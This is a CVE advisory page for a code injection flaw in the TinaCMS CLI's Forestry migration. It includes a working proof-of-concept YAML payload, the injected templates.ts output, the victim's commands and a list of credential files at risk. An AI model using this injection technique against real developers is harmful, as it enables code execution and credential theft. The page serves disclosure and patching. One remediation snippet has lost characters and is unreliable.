Skip to main content

TinaCMS CLI EUVDEUVD-2026-41142

| CVE-2026-54074 HIGH
Code Injection (CWE-94)
2026-06-19 https://github.com/tinacms/tinacms GHSA-4936-9hrh-qqpw
7.8
CVSS 3.1 · Vendor: https://github.com/tinacms/tinacms
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Publish malicious Forestry repo
  2. Delivery
    Victim clones project
  3. Exploit
    Victim runs tinacms init and accepts migration
  4. Install
    Sentinel payload written into tina/templates.ts
  5. C2
    Victim runs tinacms dev/build
  6. Execute
    Top-level IIFE executes as developer
  7. Impact
    Credential theft and supply-chain pivot

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concrete conditions to all hold: (1) the victim must clone or otherwise place an attacker-controlled project tree on disk that contains a .forestry/ directory with malicious label or name fields in .forestry/**/*.yml (typically .forestry/front_matter/templates/*.yml); (2) the victim must invoke tinacms init and accept the 'migrate Forestry templates?' interactive prompt (which defaults to yes, so passive acceptance is enough); and (3) the victim must subsequently run tinacms dev or tinacms build, which evaluates the generated tina/config.{ts,js} and thereby loads the poisoned tina/templates.{ts,js}. The payload must avoid literal double-quote characters (since JSON.stringify would escape them and break syntax, with Prettier then rejecting the file) and must use single quotes or backticks for inner string literals. The vulnerability only exists in @tinacms/cli versions < 2.4.3; sites that never run the Forestry migration command are not exposed even on vulnerable versions.

Impact

The vendor CVSS 3.1 vector (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 7.8 High) accurately captures the local-but-unauthenticated, user-interaction-gated nature: code only fires after the developer clones a malicious project, accepts the default-yes Forestry migration prompt in tinacms init, and then runs dev/build. There is no EPSS, KEV, or SSVC data in the input - exploitation status is therefore 'no public exploit identified at time of analysis' beyond the disclosure PoC, which is fully working and reproducible. Real-world risk is moderate-to-high for developers who try community starter templates, evaluate third-party migration services, or fork unaudited Forestry sites - the migration prompt defaults to yes and the resulting payload has full filesystem and credential access (env vars, .env, SSH keys, ~/.aws/credentials, ~/.npmrc, gh tokens, npm publish/git push creds), making this a credible supply-chain stepping stone. Conversely, organisations that never run the Forestry migration command face effectively zero exposure. Worth noting: although the attacker code arrives via a remote repository, CVSS scores the exploit step as AV:L because execution happens on the developer's local workstation after manual git clone - this is a defensible scoring choice but somewhat understates the network-delivery aspect of the supply-chain vector.

Exploit ScenarioDerived

An attacker publishes a 'TinaCMS starter' or 'Forestry-to-Tina migration helper' repository whose .forestry/front_matter/templates/rce.yml contains a label: field with the disclosed __TINA_INTERNAL__:::…::: payload wrapping a Node require('fs')/require('child_process') IIFE. A developer evaluating the starter runs git clone, npx tinacms init (accepting the default-yes Forestry-migration prompt), then npx tinacms dev; the generated tina/templates.ts is imported by tina/config.ts and the IIFE fires immediately, exfiltrating ~/.npmrc, ~/.aws/credentials, and .env to the attacker before the dev server even finishes booting. A working end-to-end PoC is published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 19, 2026

Code injection in @tinacms/cli versions prior to 2.4.3 allows an attacker who controls a Forestry-style project to achieve remote code execution on a developer's workstation when the tinacms init Forestry migration runs and the developer subsequently executes tinacms dev or tinacms build. The addVariablesToCode helper unquotes any value matching the marker __TINA_INTERNAL__:::(.*?)::: placed in a stringified collection JSON, and user-supplied label/name fields from .forestry/**/*.yml are inserted into that JSON without sanitisation, yielding a top-level IIFE in the generated tina/templates.ts. A detailed end-to-end PoC is published in the GHSA-4936-9hrh-qqpw advisory; no public exploit identified at time of analysis beyond the disclosure PoC, and the CVE is not in CISA KEV.

RemediationAI

Vendor-released patch: upgrade @tinacms/cli to 2.4.3 or later (npm install @tinacms/cli@^2.4.3 / pnpm up @tinacms/cli@2.4.3), shipped via PR https://github.com/tinacms/tinacms/pull/7006 and commit https://github.com/tinacms/tinacms/commit/77665ae73dd4f9563d339535e76fa811a8abdfbb, with full details in advisory https://github.com/tinacms/tinacms/security/advisories/GHSA-4936-9hrh-qqpw. If immediate upgrade is impossible, do not run tinacms init on any Forestry project you did not author end-to-end (.forestry/ directory present) and decline the 'migrate Forestry templates?' prompt - the migration is the only code path that calls the vulnerable addVariablesToCode helper, so users who only run Tina-native sites are not exposed. As an interim hardening step, audit every .forestry/**/*.yml for label/name fields containing the literal string __TINA_INTERNAL__:::, newlines, or NUL bytes before invoking the migration; this catches the disclosed payload but is not a structural fix and will not block future bypasses, so treat it only as a stopgap until 2.4.3 is installed.

Affected VersionsENISA

tinacms < 2.4.3

Affected Packages

npm @tinacms/cli fix: 2.4.3
euvd tinacms fix: 2.4.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is the @tinacms/cli npm package (pkg:npm/@tinacms_cli), specifically the Forestry-to-Tina migration codegen at packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts and util/index.ts. The flaw is a classic CWE-94 code injection: a sentinel-based templating scheme (__TINA_INTERNAL__:::…:::) is used to round-trip generated JavaScript expressions through a single JSON.stringify pass, but the same pass is also used for arbitrary user data. JSON.stringify only escapes double quotes and control characters, so a malicious YAML label containing single quotes, backticks, or unescaped braces can break out of the surrounding xxxFields() function, drop a top-level IIFE into tina/templates.{ts,js}, and resume a dummy function that consumes the trailing JSON. The generated file is then imported by tina/config.{ts,js}, so the IIFE executes at Node module load time the moment tinacms dev/tinacms build evaluates the config - running with the developer's full user privileges.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/tinacms/tinacms) PRIMARY 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 7.8 HIGH

Payload delivered via local cloned repo and executes during local dev/build, so AV:L; no auth needed (PR:N), but victim must run init and accept migration prompt then dev/build (UI:R); arbitrary code as user yields C/I/A:H.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/tinacms/tinacms).

CVSS VectorVendor: https://github.com/tinacms/tinacms

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Description

Summary

@tinacms/cli contains a Remote Code Execution vulnerability in its Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "__TINA_INTERNAL__:::(.*?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry//*.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build**, with the developer's privileges.

Details

Vulnerable code path:

  1. packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts
  • transformForestryFieldsToTinaFields() writes forestryField.label

(and .name) straight into TinaField objects (no sanitisation).

  1. packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts,

lines 16-22 - the regex-based unquoter:

ts
   export const addVariablesToCode = (codeWithTinaPrefix: string) => {
     const code = codeWithTinaPrefix.replace(
       /"__TINA_INTERNAL__:::(.*?):::"/g,
       '$1'
     );
     return { code };
   };
  1. codeTransformer.ts lines 80-88 - the field array is

JSON.stringify-ed and then handed to addVariablesToCode. Because JSON.stringify does not escape single quotes or backticks, an attacker who avoids " in the payload survives the JSON pass intact.

  1. packages/@tinacms/cli/src/cmds/init/apply.ts lines 110-116 - the

resulting string is written to tina/templates.{ts,js} and imported by the generated tina/config.{ts,js}, which tinacms dev evaluates.

Why it executes immediately: the regex unquoting allows the attacker's payload to *close the surrounding object/array and the enclosing xxxFields() function*, drop a top-level IIFE, and then start a dummy function that swallows the trailing JSON. The IIFE is at module scope, so it runs the instant tina/config.ts imports ./templates.

PoC

End-to-end verified against tinacms and @tinacms/cli@2.3.1, built from commit ae1ab5d0f of tinacms/tinacms on Windows 11 + Node.js v24 (behaviour is identical on Node 22).

Step 1 - attacker prepares a malicious Forestry project

.forestry/settings.yml

yaml
---
new_page_extension: md
auto_deploy: false
admin_path: ''
webhook_url: ''
sections:
- type: directory
  path: content/posts
  label: Posts
  create: all
  match: "**/*.md"
  templates:
  - rce

.forestry/front_matter/templates/rce.yml

yaml
---
label: rce_template
fields:
- name: title
  type: text
  label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::"

> Note on payload encoding. The original disclosure draft used double > quotes inside the payload (console.log("RCE")). JSON.stringify escapes > those to \", which makes the generated TypeScript syntactically invalid > and is rejected by Prettier before the file is written. Using single > quotes or backticks for the inner string literals is required for the > exploit to succeed.

Step 2 - victim runs the standard onboarding flow

bash
git clone <attacker repo>
cd <attacker repo>
npx tinacms init
# accepts the "migrate Forestry templates?" prompt
npx tinacms dev
# OR: npx tinacms build

Step 3 - generated tina/templates.ts (verbatim, from a clean run)

ts
import type { TinaField } from "tinacms";
export function rce_templateFields() {
  return [{ type: "string", name: "title", label: 1 }];
}
(function () {                                          // <-- TOP-LEVEL IIFE
  const fs = require("fs");
  const os = require("os");
  fs.writeFileSync(
    require("path").join(os.tmpdir(), "PWNED_PROOF.txt"),
    "RCE triggered on " + os.hostname() + " at " + new Date().toISOString()
  );
  console.log("=== RCE SUCCESSFUL ===");
})();
function _ignore_() {
  return [{ x: 1 }] as TinaField[];
}

Step 4 - observed result

$ npx tinacms dev --noTelemetry --no-server
🦙 TinaCMS Dev Server is initializing...
=== RCE SUCCESSFUL ===
Cannot read properties of undefined (reading 'publicFolder')

$ cat "$TEMP/PWNED_PROOF.txt"
RCE triggered on <hostname> at 2026-05-23T06:57:29.800Z

The = RCE SUCCESSFUL = line is printed before the dev server fails on the (intentionally minimal) config, proving the malicious code executed during config evaluation.

Impact

  • Class: Remote Code Execution (code injection into a generated source

file that is automatically executed by the dev server/build).

  • Attack vector: Any developer who runs tinacms init on a Forestry

project they did not author (e.g. a starter template, a community fork, a "convert my site to Tina" service, an evaluation of a third-party CMS migration) and then runs tinacms dev or tinacms build.

  • Privileges obtained: Full execution under the developer's user

account. Practical consequences include:

  • Exfiltration of environment variables, .env files, SSH keys,

~/.aws/credentials, ~/.npmrc tokens, ~/.config/gh/hosts.yml.

  • Source-code modification (planting backdoors before the developer's

next commit / publish).

  • Supply-chain abuse via the developer's npm publish and git push

credentials.

  • Persistence via shell rc files or scheduled tasks.
  • Authentication: None required from the attacker.
  • User interaction: Required - victim must run the migration and then

the dev/build command. The migration prompt defaults to "yes".

Suggested Remediation

Either fix is sufficient; Option B is preferred because it is structurally impossible to bypass and does not silently drop user content.

Option A - sanitise user-controlled strings (the disclosure draft's proposal)

ts
// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts
const sanitizeString = (str: unknown): unknown =>
  typeof str === 'string'
    ? str.replace(/__TINA_INTERNAL__:::/g, '')
    : str;

Apply to every user-controlled string that flows into a TinaField object - at minimum forestryField.label, forestryField.name, forestryField.template, forestryField.config.options[*], forestryField.config.source.section, and the equivalents on nested fields/template_types recursive paths.

Option B - change the marker to a sequence that cannot survive JSON.stringify of user data

ts
// codeTransformer.ts
const MARKER_OPEN  = '__TINA_INTERNAL__';
const MARKER_CLOSE = '/__TINA_INTERNAL__';

export const addVariablesToCode = (s: string) => ({
  code: s.replace(
    new RegExp(`"${MARKER_OPEN}(.*?)${MARKER_CLOSE}"`, 'g'),
    '$1'
  ),
});

JSON.stringify escapes  to the six-character sequence , so any literal control character supplied via YAML can never reconstruct the marker. The internal callers (makeFieldsWithInternalCode) keep emitting real  bytes, so the legitimate flow continues to work and no user content is silently mutated.

Defence-in-depth

Regardless of which option ships, the migration code should also:

  • Reject forestryField.label / .name that contain newlines or NUL

bytes (Forestry never produced them).

  • Wrap the eventual prettier.format(...) call so that if formatting

fails the build aborts (today an exception is propagated, which is good - keep it that way).

---

Credit

Reported by AnGrY-Althaf (angry.althaf@gmail.com).

End-to-end PoC executed locally against tinacms@2.3.1 / @tinacms/cli@2.3.1 built from commit ae1ab5d0f of https://github.com/tinacms/tinacms.

Executive ViewAI

Why It Matters

A code injection vulnerability in @tinacms/cli (versions before 2.4.3) enables attackers to execute malicious code on developers' computers if they modify the project's Forestry configuration. This directly threatens development environments and creates a supply-chain risk-compromised developer machines could be used to poison production code or exfiltrate sensitive data.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 93% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact
High

Priority Score

39
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy